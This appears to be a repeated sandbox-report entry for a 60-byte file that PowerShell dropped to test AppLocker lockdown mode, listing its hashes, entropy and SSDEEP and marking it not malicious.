                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                        Preview:# PowerShell test file to determine AppLocker lockdown mode
                                                                                                                                                                                                                                        Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                        Size (bytes):60
                                                                                                                                                                                                                                        Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                        SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                        MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                        SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                        SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                        SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                        Malicious:false
